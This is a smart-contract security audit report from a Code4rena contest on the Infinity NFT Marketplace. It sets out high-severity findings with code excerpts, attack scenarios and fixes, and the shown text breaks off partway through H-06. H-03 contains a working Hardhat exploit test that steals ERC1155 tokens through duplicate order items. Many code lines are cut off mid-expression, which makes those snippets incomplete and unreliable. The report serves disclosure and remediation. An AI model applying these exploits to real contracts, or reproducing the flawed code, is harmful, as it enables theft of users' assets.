Infinity NFT Marketplace contest Findings & Analysis Report

2022-08-16

Table of contents

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit contest outlined in this document, C4 conducted an analysis of the Infinity NFT Marketplace smart contract system written in Solidity. The audit contest took place between June 14—June 19 2022.

Wardens

113 Wardens contributed reports to the Infinity NFT Marketplace contest:

1. PwnedNoMore (izhuer, ItsNio and papr1ka2)
2. unforgiven
3. shenwilly
4. kenzo
5. 0xDjango
6. 0xsanson
7. WatchPug (jtp and ming)
8. 0xalpharush
9. csanuragjain
10. KIntern (minhquanym and TrungOre)
11. GimelSec (rayn and sces60107)
12. GreyArt (hickuphh3 and itsmeSTYJ)
13. zzzitron
14. hyh
15. k
16. joestakey
17. antonttc
18. 0x29A (0x4non and rotcivegaf)
19. IllIllI
20. Ruhum
21. throttle
22. 0xf15ers (remora and twojoy)
23. VAD37
24. cccz
25. dipp
26. wagmi

27. berndartmueller
28. peritoflores
29. auditor0517
30. p4st13r4 (0x69e8 and 0xb4bb4)
31. BowTiedWardens (BowTiedHeron, BowTiedPickle, m4rio_eth, Dravee and BowTiedFirefox)
32. obtarian
33. 0x1f8b
34. reassor
35. oyc_109
36. Lambda
37. codexploder
38. horsefacts
39. robee
40. defsec
41. Kenshin
42. byterocket (pseudorandom and pmerkleplant)
43. StErMi
44. 0xkowloon
45. Wayne
46. rfa
47. MiloTruck
48. MadWookie
49. 0xNazgul
50. simon135
51. FSchmoede
52. hansfriese
53. PPrieditis
54. _Adam

55. Picodes
56. TerrierLover
57. hake
58. Chom
59. Kaiziron
60. ElKu
61. Funen
62. sach1r0
63. kenta
64. TomJ
65. delfin454000
66. fatherOfBlocks
67. apostle0x01
68. asutorufos
69. zer0dot
70. 0xNineDec
71. saian
72. rajatbeladiya
73. cryptphi
74. Treasure-Seeker
75. samruna
76. sorrynotsorry
77. Czar102
78. sseefried
79. georgypetrov
80. cloudjunky
81. 0x52
82. 8olidity
83. Cityscape

84. 0xmint
85. nxrblsrpr
86. Sm4rty
87. abhinavmir
88. a12jmx
89. 0xKitsune
90. 0xkatana
91. Tomio
92. Tadashi
93. c3phas
94. Waze
95. slywaters
96. 0xAsm0d3us
97. 0v3rf10w
98. m9800
99. obront

This contest was judged by HardlyDifficult.

Final report assembled by itsmetechjay.

Summary

The C4 analysis yielded an aggregated total of 20 unique vulnerabilities. Of these vulnerabilities, 11 received a risk rating in the category of HIGH severity and 9 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 78 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 56 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Infinity NFT Marketplace contest repository, and is composed of 4 smart contracts written in the Solidity programming language and includes 1,955 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities according to a methodology based on OWASP standards.

Vulnerabilities are divided into three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

Further information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website.

High Risk Findings (11)

[H-01] Maker buy order with no specified NFT tokenIds may get fulfilled in `matchOneToManyOrders` without receiving any NFT

Submitted by WatchPug, also found by 0xsanson, PwnedNoMore, and unforgiven

The call stack: matchOneToManyOrders() -> _matchOneMakerSellToManyMakerBuys() ->

_execMatchOneMakerSellToManyMakerBuys() -> _execMatchOneToManyOrders() -> _transferMultipleNFTs()

Based on the context, a maker buy order can set `OrderItem.tokens` as an empty array to indicate that they can accept any tokenId in this collection, in that case, `InfinityOrderBookComplication.doTokenIdsIntersect()` will always return `true`.

However, when the system matching a sell order with many buy orders, the `InfinityOrderBookComplication` contract only ensures that the specified tokenIds intersect with the sell order, and the total count of specified tokenIds equals the sell order's quantity (`makerOrder.constraints[0]`).

This allows any maker buy order with same collection and `empty tokenIds` to be added to `manyMakerOrders` as long as there is another maker buy order with specified tokenIds that matched the sell order's tokenIds.

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L68-L116

```
function canExecMatchOneToMany(
    OrderTypes.MakerOrder calldata makerOrder,
    OrderTypes.MakerOrder[] calldata manyMakerOrders
  ) external view override returns (bool) {
    uint256 numItems;
    bool isOrdersTimeValid = true;
    bool itemsIntersect = true;
    uint256 ordersLength = manyMakerOrders.length;
    for (uint256 i = 0; i < ordersLength; ) {
      if (!isOrdersTimeValid || !itemsIntersect) {
        return false; // short circuit
      }

      uint256 nftsLength = manyMakerOrders[i].nfts.length;
      for (uint256 j = 0; j < nftsLength; ) {
        numItems += manyMakerOrders[i].nfts[j].tokens.length;
        unchecked {
          ++j;
        }
```

```
          }

          isOrdersTimeValid =
            isOrdersTimeValid &&
            manyMakerOrders[i].constraints[3] <= block.timestamp &&
            manyMakerOrders[i].constraints[4] >= block.timestamp;

          itemsIntersect = itemsIntersect && doItemsIntersect(maker(

          unchecked {
            ++i;
          }
        }

        bool _isTimeValid = isOrdersTimeValid &&
          makerOrder.constraints[3] <= block.timestamp &&
          makerOrder.constraints[4] >= block.timestamp;

        uint256 currentMakerOrderPrice = _getCurrentPrice(makerOrder
        uint256 sumCurrentOrderPrices = _sumCurrentPrices(manyMaker(

        bool _isPriceValid = false;
        if (makerOrder.isSellOrder) {
          _isPriceValid = sumCurrentOrderPrices >= currentMakerOrder
        } else {
          _isPriceValid = sumCurrentOrderPrices <= currentMakerOrder
        }

        return (numItems == makerOrder.constraints[0]) && _isTimeVal
      }
```

However, because `buy.nfts` is used as `OrderItem` to transfer the nfts from seller to buyer, and there are no tokenIds specified in the matched maker buy order, the buyer wont receive any nft (`_transferERC721s` does nothing, 0 transfers) despite the buyer paid full in price.

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L763-L786

```
    function _execMatchOneMakerSellToManyMakerBuys(
        bytes32 sellOrderHash,
        bytes32 buyOrderHash,
        OrderTypes.MakerOrder calldata sell,
        OrderTypes.MakerOrder calldata buy,
        uint256 startGasPerOrder,
        uint256 execPrice,
        uint16 protocolFeeBps,
        uint32 wethTransferGasUnits,
        address weth
      ) internal {
        isUserOrderNonceExecutedOrCancelled[buy.signer][buy.constrai
        uint256 protocolFee = (protocolFeeBps * execPrice) / 10000;
        uint256 remainingAmount = execPrice - protocolFee;
        _execMatchOneToManyOrders(sell.signer, buy.signer, buy.nfts,
        _emitMatchEvent(
          sellOrderHash,
          buyOrderHash,
          sell.signer,
          buy.signer,
          buy.execParams[0],
          buy.execParams[1],
          execPrice
        );
```

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1080-L1092

```
  function _transferERC721s(
      address from,
      address to,
      OrderTypes.OrderItem calldata item
    ) internal {
      uint256 numTokens = item.tokens.length;
      for (uint256 i = 0; i < numTokens; ) {
        IERC721(item.collection).safeTransferFrom(from, to, item.t
        unchecked {
          ++i;
        }
      }
    }
```

Proof of Concept

1. Alice signed and submitted a maker buy order #1, to buy `2` Punk with `2 WETH` and specified tokenIds = `1` , `2`
2. Bob signed and submitted a maker buy order #2, to buy `1` Punk with `1 WETH` and with no specified tokenIds.
3. Charlie signed and submitted a maker sell order #3, ask for `3 WETH` for `2` Punk and specified tokenIds = `1` , `2`
4. The match executor called `matchOneToManyOrders()` match Charlie's sell order #3 with buy order #1 and #2, Alice received `2` Punk, Charlie received `3 WETH` , Bob paid `1 WETH` and get nothing in return.

Recommendation

Change to:

```
function canExecMatchOneToMany(
    OrderTypes.MakerOrder calldata makerOrder,
    OrderTypes.MakerOrder[] calldata manyMakerOrders
  ) external view override returns (bool) {
    uint256 numItems;
    uint256 numConstructedItems;
    bool isOrdersTimeValid = true;
    bool itemsIntersect = true;
    uint256 ordersLength = manyMakerOrders.length;
    for (uint256 i = 0; i < ordersLength; ) {
      if (!isOrdersTimeValid || !itemsIntersect) {
        return false; // short circuit
      }

      numConstructedItems += manyMakerOrders[i].constraints[0];

      uint256 nftsLength = manyMakerOrders[i].nfts.length;
      for (uint256 j = 0; j < nftsLength; ) {
        numItems += manyMakerOrders[i].nfts[j].tokens.length;
        unchecked {
          ++j;
        }
      }

      isOrdersTimeValid =
        isOrdersTimeValid &&
        manyMakerOrders[i].constraints[3] <= block.timestamp &&
        manyMakerOrders[i].constraints[4] >= block.timestamp;

      itemsIntersect = itemsIntersect && doItemsIntersect(makerO

      unchecked {
        ++i;
      }
    }

    bool _isTimeValid = isOrdersTimeValid &&
      makerOrder.constraints[3] <= block.timestamp &&
      makerOrder.constraints[4] >= block.timestamp;

    uint256 currentMakerOrderPrice = _getCurrentPrice(makerOrder
    uint256 sumCurrentOrderPrices = _sumCurrentPrices(manyMakerO

    bool _isPriceValid = false;
    if (makerOrder.isSellOrder) {
      _isPriceValid = sumCurrentOrderPrices >= currentMakerOrder
    } else {
      _isPriceValid = sumCurrentOrderPrices <= currentMakerOrder
    }

    return (numItems == makerOrder.constraints[0]) && (numConstr
  }
```

[nneverlander (Infinity) confirmed and resolved](#):

> Fixed in https://github.com/infinitydotxyz/exchange-contracts-v2/commit/7f0e195d52165853281b971b8610b27140da6e41

[HardlyDifficult (judge) commented](#):

> Confirmed the scenario as described.

> Buyers specifying just a collection and no specific tokens is a basically a floor sweep which has become common for NFTs. In this scenario, the warden shows how a buyer can end up spending money and get nothing in return. This is a High risk issue.

> Issue [#314](#) is very similar but flips the impact to explore how a seller's offer could be attacked and how it applies to an allow list of tokenIds. (It has been grouped

with H-01)

[H-02] Loss of funds in `matchOneToManyOrders()` and `takeOrders()` and `matchOrders()` because code don’t check that different ids in one collection are different, so it’s possible to sell one id multiple time instead of selling multiple id one time in one collection of order (lack of checks in `doTokenIdsIntersect()` especially for ERC1155 tokens)

Submitted by unforgiven

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L271-L312

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L59-L116

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L245-L294

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L118-L143

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L330-L364

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L934-L951

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/Infi nityOrderBookComplication.sol#L145-L164

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L171-L243

Impact

Function `matchOneToManyOrders()` and `takeOrders()` and `matchOrders()` suppose to match `sell order` to `buy order` and should perform some checks to ensure that user specified parameters in orders which are signed are not violated when order matching happens. but There is no check in their execution flow to check that an `order` has different `NFT token ids` in each one of it's collections, so even so number of tokens could be valid in `order` to `order` transfer but the number of real transferred tokens and their IDs can be different than what user specified and signed. and user funds would be lost. (because of `ERC1155` there can be more than one token for a `tokenId`, so it would be possible to transfer it)

Proof of Concept

This is `_takeOrders()` and `and` code:

```
    /**
     * @notice Internal helper function to take orders
     * @dev verifies whether order can be executed
     * @param makerOrder the maker order
     * @param takerItems nfts to be transferred
     * @param execPrice execution price
     */
    function _takeOrders(
      OrderTypes.MakerOrder calldata makerOrder,
      OrderTypes.OrderItem[] calldata takerItems,
      uint256 execPrice
    ) internal {
      bytes32 makerOrderHash = _hash(makerOrder);
      bool makerOrderValid = isOrderValid(makerOrder, makerOrderHa
      bool executionValid = IComplication(makerOrder.execParams[0]
      require(makerOrderValid && executionValid, 'order not verifi
      _execTakeOrders(makerOrderHash, makerOrder, takerItems, make
    }
```

As you can see it uses `canExecTakeOrder()` to check that it is valid to perform matching. This is `canExecTakeOrder()` and `areTakerNumItemsValid()` and `doTokenIdsIntersect()` code which are used in execution flow to check orders and matching validity:

```
/**
 * @notice Checks whether take orders with a higher order inte
 * @dev This function is called by the main exchange to check
        It checks whether orders have the right constraints -
        and whether the nfts intersect
 * @param makerOrder the maker order
 * @param takerItems the taker items specified by the taker
 * @return returns whether order can be executed
 */
function canExecTakeOrder(OrderTypes.MakerOrder calldata maker
  external
  view
  override
  returns (bool)
{
  return (makerOrder.constraints[3] <= block.timestamp &&
    makerOrder.constraints[4] >= block.timestamp &&
    areTakerNumItemsValid(makerOrder, takerItems) &&
    doItemsIntersect(makerOrder.nfts, takerItems));
}

/// @dev sanity check to make sure that a taker is specifying
function areTakerNumItemsValid(OrderTypes.MakerOrder calldata
  public
  pure
  returns (bool)
{
  uint256 numTakerItems = 0;
  uint256 nftsLength = takerItems.length;
  for (uint256 i = 0; i < nftsLength; ) {
    unchecked {
      numTakerItems += takerItems[i].tokens.length;
      ++i;
    }
  }
  return makerOrder.constraints[0] == numTakerItems;
}

/**
```

```
   * @notice Checks whether tokenIds intersect
   * @dev This function checks whether there are intersecting tc
   * @param item1 first item
   * @param item2 second item
   * @return returns whether tokenIds intersect
   */
  function doTokenIdsIntersect(OrderTypes.OrderItem calldata ite
    public
    pure
    returns (bool)
  {
    uint256 item1TokensLength = item1.tokens.length;
    uint256 item2TokensLength = item2.tokens.length;
    // case where maker/taker didn't specify any tokenIds for tł
    if (item1TokensLength == 0 || item2TokensLength == 0) {
      return true;
    }
    uint256 numTokenIdsPerCollMatched = 0;
    for (uint256 k = 0; k < item2TokensLength; ) {
      for (uint256 l = 0; l < item1TokensLength; ) {
        if (
          item1.tokens[l].tokenId == item2.tokens[k].tokenId &&
        ) {
          // increment numTokenIdsPerCollMatched
          unchecked {
            ++numTokenIdsPerCollMatched;
          }
          // short circuit
          break;
        }
        unchecked {
          ++l;
        }
      }
      unchecked {
        ++k;
      }
    }

    return numTokenIdsPerCollMatched == item2TokensLength;
  }
```

As you can see there is no logic to check that `token IDs` in one collection of order are different and code only checks that total number of tokens in one `order` matches the number of tokens specified and the ids in one order exists in other list defined. function `doTokenIdsIntersect()` checks to see that `tokens ids` in one collection can match list of specified tokens. because of this check lacking there are some scenarios that can cause fund lose for `ERC1155` tokens (normal `ERC721` requires more strange conditions). here is first example:

1. For simplicity, let's assume collection and timestamp are valid and match for orders and token is `ERC1155`
2. `user1` has signed this order: A: `(user1 BUY 3 NFT IDs[(1,1),(2,1),(3,1)] at 15 ETH)` (buy `1` token of each `id=1,2,3`)
3. `NFT ID[1]` fair price is `1 ETH`, `NFT ID[2]` fair price is `2 ETH`, `NFT ID[3]` fair price is `12 ETH`
4. `attacker` who has 3 of `NFT ID[1]` create this list: B: `(NFT IDs[(1,1), (1,1), (1,1)] )` (list to trade `1` token of `id=1` for 3 times)
5. Attacker call `takeOrders()` with this parameters: makerOrder: A , takerNfts: B
6. Contract logic would check all the conditions and validate and verify orders and their matching (they intersect and total number of token to sell is equal to total number of tokens to buy and all of the B list is inside A list) and perform the transaction.
7. `attacker` would receive `15 ETH` for his 3 token of `NFT ID[1]` and steal `user1` funds. `user1` would receive 3 of `NFT ID[1]` and pays `15 ETH` and even so his order A has been executed he doesn't receive `NFT IDs[(2,1), (3,1)]` and contract would violates his signed parameters.

This examples shows that in verifying one to many order code should verify that one order's one collection's token ids are not duplicates. (the function `doTokenIdsIntersect()` doesn't check for this).

This scenario is performable to `matchOneToManyOrders()` and `matchOrders()` and but exists in their code (related check logics) too. more important things about this scenario is that it doesn't require off-chain maching engine to make mistake or malicious act, anyone can call `takeOrders()` if NFT tokens are `ERC1155`. for other `NFT` tokens to perform this attack it requires that `seller==buyer` or some other strange cases (like auto selling when receiving in one contract).

Tools Used

VIM

Recommended Mitigation Steps

Add checks to ensure `order`'s one `collection`'s token ids are not duplicate in `doTokenIdsIntersect()`

nneverlander (Infinity) confirmed and resolved:

> Agree with assessment. Fixed. https://github.com/infinitydotxyz/exchange-contracts-v2/commit/c3c0684ac02e0cf1c03cdbee7e68c5a37fa334a8 and removed support for ERC1155

HardlyDifficult (judge) commented:

> This is an interesting scenario where the same NFT appears multiple times in a match and results in one order being under filled, leading to potential losses for the user. And the attack does not depend on the matching engine. Agree this is High risk.

[H-03] `canExecTakeOrder` mismatches `makerOrder` and `takerItems` when duplicated items present

Submitted by PwnedNoMore, also found by 0xsanson, hyh, k, throttle, and zzzitron

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L154-L164

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L68-L116

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L336-L364

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L178-L243

Impact

When any user provides a `sellOrder` and they are trying to sell multiple tokens from *n* (n > 1) different `ERC1155` collections in a single order, hakcers can get the tokens of most expensive collections (with n times of the original amount) by paying the same price.

In short, hackers can violate the user-defined orders.

Root Cause

The logic of `canExecTakeOrder` and `canExecMatchOneToMany` is not correct.

Let's take `canExecTakeOrder(OrderTypes.MakerOrder calldata makerOrder, OrderTypes.OrderItem[] calldata takerItems)` **as an example, while** `canExecMatchOneToMany` **shares the same error.**

Specifically, it first checks whether the number of selling item in `makerOrder` matches with the ones in `takerItems`. Note that the number is an aggregated one. Then, it check whether all the items in `takerItems` are within the scope defined by `makerOrder`.

The problem comes when there are duplicated items in `takerItems`. The aggregated number would be correct and all taker's Items are indeed in the order. However, it does not means `takerItems` exactly matches all items in `makerOrder`, which means violation of the order.

For example, if the order requires

```
[
    {
        collection: mock1155Contract1.address,
        tokens: [{ tokenId: 0, numTokens: 1 }]
    },
        {
                collection: mock1155Contract2.address,
                tokens: [{ tokenId: 0, numTokens: 1 }]
        }
    ];
```

and the taker provides

```
    [
        {
                collection: mock1155Contract1.address,
                tokens: [{ tokenId: 0, numTokens: 1 }]
        },
        {
                collection: mock1155Contract1.address,
                tokens: [{ tokenId: 0, numTokens: 1 }]
        }
    ];
```

The taker can grabs two `mock1155Contract1` tokens by paying the order which tries to sell a `mock1155Contract1` token and a `mock1155Contract2` token. When `mock1155Contract1` is much more expensive, the victim user will suffer from a huge loss.

As for the approving issue, the users may grant the contract unlimited access, or they may have another order which sells `mock1155Contract1` tokens. The attack is easy to perform.

Proof of Concept

First put the `MockERC1155.sol` under the `contracts/` directory:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import {ERC1155URIStorage} from '@openzeppelin/contracts/token/E
import {ERC1155} from '@openzeppelin/contracts/token/ERC1155/ERC
import {Ownable} from '@openzeppelin/contracts/access/Ownable.sc

contract MockERC1155 is ERC1155URIStorage, Ownable {
  uint256 numMints;

  constructor(string memory uri) ERC1155(uri) {}

  function mint(address to, uint256 id, uint256 amount, bytes me
    super._mint(to, id, amount, data);
  }
}
```

And then put `poc.js` under the `test/` directory.

```
const { expect } = require('chai');
const { ethers, network } = require('hardhat');
const { deployContract, NULL_ADDRESS, nowSeconds } = require('..
const {
  getCurrentSignedOrderPrice,
  approveERC20,
  grantApprovals,
  signOBOrder
} = require('../helpers/orders');

async function prepare1155OBOrder(user, chainId, signer, order,
  // grant approvals
  const approvals = await grantApprovals(user, order, signer, ir
  if (!approvals) {
    return undefined;
  }

  // sign order
  const signedOBOrder = await signOBOrder(chainId, infinityExcha

  const isSigValid = await infinityExchange.verifyOrderSig(signe
  if (!isSigValid) {
    console.error('Signature is invalid');
    return undefined;
  }
  return signedOBOrder;
}

describe('PoC', function () {
  let signers,
    dev,
    matchExecutor,
    victim,
    hacker,
    token,
    infinityExchange,
    mock1155Contract1,
    mock1155Contract2,
    obComplication

  const sellOrders = [];

  let orderNonce = 0;

  const UNIT = toBN(1e18);
  const INITIAL_SUPPLY = toBN(1_000_000).mul(UNIT);

  const totalNFTSupply = 100;
  const numNFTsToTransfer = 50;
  const numNFTsLeft = totalNFTSupply - numNFTsToTransfer;

  function toBN(val) {
    return ethers.BigNumber.from(val.toString());
  }

  before(async () => {
    // signers
    signers = await ethers.getSigners();
    dev = signers[0];
    matchExecutor = signers[1];
    victim = signers[2];
    hacker = signers[3];
    // token
    token = await deployContract('MockERC20', await ethers.getCo

    // NFT constracts (ERC1155)
    mock1155Contract1 = await deployContract('MockERC1155', awai
      'uri1'
    ]);
    mock1155Contract2 = await deployContract('MockERC1155', awai
      'uri2'
    ]);

    // Exchange
    infinityExchange = await deployContract(
      'InfinityExchange',
      await ethers.getContractFactory('InfinityExchange'),
      dev,
      [token.address, matchExecutor.address]
    );

    // OB complication
    obComplication = await deployContract(
      'InfinityOrderBookComplication',
      await ethers.getContractFactory('InfinityOrderBookComplica
      dev
    );

    // add currencies to registry
    await infinityExchange.addCurrency(token.address);
    await infinityExchange.addCurrency(NULL_ADDRESS);

    // add complications to registry
    await infinityExchange.addComplication(obComplication.addres

    // send assets
    await token.transfer(victim.address, INITIAL_SUPPLY.div(4).t
    await token.transfer(hacker.address, INITIAL_SUPPLY.div(4).t
    for (let i = 0; i < numNFTsToTransfer; i++) {
      await mock1155Contract1.mint(victim.address, i, 50, '0x');
      await mock1155Contract2.mint(victim.address, i, 50, '0x');
    }
  });

  describe('StealERC1155ByDuplicateItems', () => {
    it('Passed test denotes successful hack', async function ()
      // prepare order
      const user = {
        address: victim.address
      };
      const chainId = network.config.chainId ?? 31337;
      const nfts = [
        {
          collection: mock1155Contract1.address,
          tokens: [{ tokenId: 0, numTokens: 1 }]
        },
        {
          collection: mock1155Contract2.address,
          tokens: [{ tokenId: 0, numTokens: 1 }]
        }
      ];
      const execParams = { complicationAddress: obComplication.a
      const extraParams = {};
      const nonce = ++orderNonce;
      const orderId = ethers.utils.solidityKeccak256(['address',
    let numItems = 0;
    for (const nft of nfts) {
      numItems += nft.tokens.length;
    }
    const order = {
      id: orderId,
      chainId,
      isSellOrder: true,
      signerAddress: user.address,
      numItems,
      startPrice: ethers.utils.parseEther('1'),
      endPrice: ethers.utils.parseEther('1'),
      startTime: nowSeconds(),
      endTime: nowSeconds().add(10 * 60),
      nonce,
      nfts,
      execParams,
      extraParams
    };
    const sellOrder = await prepare1155OBOrder(user, chainId,
    expect(sellOrder).to.not.be.undefined;

    // form matching nfts
    const nfts_ = [
      {
        collection: mock1155Contract1.address,
        tokens: [{ tokenId: 0, numTokens: 1 }]
      },
      {
        collection: mock1155Contract1.address,
        tokens: [{ tokenId: 0, numTokens: 1 }]
      }
    ];

    // approve currency
    let salePrice = getCurrentSignedOrderPrice(sellOrder);
    await approveERC20(hacker.address, token.address, salePric

    // perform exchange
    await infinityExchange.connect(hacker).takeOrders([sellOrc

    // owners after sale
    // XXX: note that the user's intention is to send mock115
    // When mock1155Contract1 is much more expensive than mock
    expect(await mock1155Contract1.balanceOf(hacker.address, (
  });
```

```
    });
  });
```

And run

```
  $ npx hardhat test --grep PoC

    PoC
      StealERC1155ByDuplicateItems
        ✓ Passed test denotes successful hack
```

Note that the passed test denotes a successful hack.

Recommended Mitigation Steps

I would suggest a more gas-consuming approach by hashing all the items and putting them into a list. Then checking whether the lists match.

nneverlander (Infinity) confirmed and resolved:

> Fixed in https://github.com/infinitydotxyz/exchange-contracts-v2/commit/bbbd362f18a2bb1992620a76e59621132b8a3d8c.

HardlyDifficult (judge) commented:

> This is a High risk issue. The PoC demonstrates how a maker specifying a bundle of NFTs could incorrectly have one ERC1155 item in that bundle processed several times by the taker - the bundle is not fully accepted as expected, the item processed multiple times is essentially overfilled, and this may be abused to the taker's advantage when the NFTs are not valued the same.

[H-04] Accumulated ETH fees of InfinityExchange cannot be retrieved

Submitted by hyh, also found by 0x29A, 0xf15ers, 0xkowloon, 0xNineDec, berndartmueller, byterocket, cccz, codexploder, GreyArt, horsefacts, IllIllI, Kenshin, *kenzo, KIntern, Lambda, obront, obtarian, oyc*109, peritoflores, rajatbeladiya, rfa, saian, unforgiven, WatchPug, Wayne, and zer0dot_

ETH fees accumulated from takeOrders() and takeMultipleOneOrders() operations are permanently frozen within the contract as there is only one way designed to retrieve them, a rescueETH() function, and it will work as intended, not being able to access ETH balance of the contract.

Setting the severity as high as the case is a violation of system's core logic and a permanent freeze of ETH revenue of the project.

Proof of Concept

Fees are accrued in user-facing takeOrders() and takeMultipleOneOrders() via the following call sequences:

```
takeOrders -> _takeOrders -> _execTakeOrders -> _transferNFTsAnc
takeMultipleOneOrders -> _execTakeOneOrder -> _transferNFTsAndFe
```

While token fees are transferred right away, ETH fees are kept with the InfinityExchange contract:

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1119-L1141

```
  /**
   * @notice Transfer fees. Fees are always transferred from buy
             the one that actually 'pays' the fees
   * @dev if the currency ETH, no additional transfer is needed
   * @param seller the seller
   * @param buyer the buyer
   * @param amount amount to transfer
   * @param currency currency of the transfer
   */
  function _transferFees(
    address seller,
    address buyer,
    uint256 amount,
    address currency
  ) internal {
    // protocol fee
    uint256 protocolFee = (PROTOCOL_FEE_BPS * amount) / 10000;
    uint256 remainingAmount = amount - protocolFee;
    // ETH
    if (currency == address(0)) {
      // transfer amount to seller
      (bool sent, ) = seller.call{value: remainingAmount}('');
      require(sent, 'failed to send ether to seller');
```

i.e. when `currency` is ETH the fee part of the amount, `protocolFee`, is left with the InfinityExchange contract.

The only way to retrieve ETH from the contract is rescueETH() function:

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1228-L1232

```
  /// @dev used for rescuing exchange fees paid to the contract
  function rescueETH(address destination) external payable onlyO
    (bool sent, ) = destination.call{value: msg.value}('');
    require(sent, 'failed');
  }
```

However, it cannot reach ETH on the contract balance as `msg.value` is used as the amount to be sent over. I.e. only ETH attached to the rescueETH() call is transferred from `owner` to `destination`. ETH funds that InfinityExchange contract holds remain inaccessible.

Recommended Mitigation Steps

Consider adding contract balance to the funds transferred:

```
  /// @dev used for rescuing exchange fees paid to the contract
  function rescueETH(address destination) external payable onlyO
-   (bool sent, ) = destination.call{value: msg.value}('');
+   (bool sent, ) = destination.call{value: address(this).balanc
```

```
        require(sent, 'failed');
      }
```

nneverlander (Infinity) confirmed

HardlyDifficult (judge) commented:

> When an order is filled using ETH, the exchange collects fees by holding them in the contract for later withdraw. However the only withdraw mechanism does not work so that ETH becomes trapped forever.

> This is a High risk issue since some ETH is lost with each ETH based trade.

[H-05] Missing Complication check in `takeMultipleOneOrders`

Submitted by shenwilly

An order's type and it's rules are defined in it's `Complication`. Not checking it would allow anyone to take any orders regardless of their Complication's rule, causing unexpected execution for order makers.

`takeMultipleOneOrders` assumes that all `makerOrders` are simple orderbook orders and the Complication check is missing here.

Proof of Concept

- Alice signs a makerOrder with `PrivateSaleComplication`, allowing only Bob to take the private sale order.
- A malicious trader calls `takeMultipleOneOrders` to take Alice's order, despite the Complication only allowing Bob to take it.

Recommended Mitigation Steps

Add `canExecTakeOneOrder` function in IComplication.sol and implement it in `InfinityOrderBookComplication` (and future Complications) to support `takeMultipleOneOrders` operation, then modify `takeMultipleOneOrders` to use the check:

```
    function takeMultipleOneOrders() {
        ...
        for (uint256 i = 0; i < numMakerOrders; ) {
            bytes32 makerOrderHash = _hash(makerOrders[i]);
            bool makerOrderValid = isOrderValid(makerOrders[i], make
            bool executionValid = IComplication(makerOrders[i].execP

            require(makerOrderValid && executionValid, 'order not ve

            require(currency == makerOrders[i].execParams[1], 'canno
            require(isMakerSeller == makerOrders[i].isSellOrder, 'ca
            uint256 execPrice = _getCurrentPrice(makerOrders[i]);
            totalPrice += execPrice; // @audit-issue missing complic
            _execTakeOneOrder(makerOrderHash, makerOrders[i], isMake
            unchecked {
                ++i;
            }
        }
        ...
    }
```

nneverlander (Infinity) confirmed and resolved:

> fixed in https://github.com/infinitydotxyz/exchange-contracts-v2/commit/0b7608a2c9efc71d902a9c90f4731ef434b42c31.

HardlyDifficult (judge) commented:

> `takeMultipleOneOrders` does not check restrictions set via the Complication. Agree with the High risk assessment here.

[H-06] Some real-world NFT tokens may support both ERC721 and ERC1155 standards, which may break `InfinityExchange::_transferNFTs`

Submitted by PwnedNoMore

Many real-world NFT tokens may support both ERC721 and ERC1155 standards, which may break `InfinityExchange::_transferNFTs` , i.e., transferring less tokens than expected.

For example, the asset token of [The Sandbox Game](), a Top20 ERC1155 token on [Etherscan](), supports both ERC1155 and ERC721 interfaces. Specifically, any ERC721 token transfer is regarded as an ERC1155 token transfer with only one item transferred ([token address]() and [implementation]()).

Assuming there is a user tries to buy two tokens of Sandbox's ASSETs with the same token id, the actual transferring is carried by `InfinityExchange::_transferNFTs` which first checks ERC721 interface supports and then ERC1155.

```
function _transferNFTs(
  address from,
  address to,
  OrderTypes.OrderItem calldata item
) internal {
  if (IERC165(item.collection).supportsInterface(0x80ac58cd))
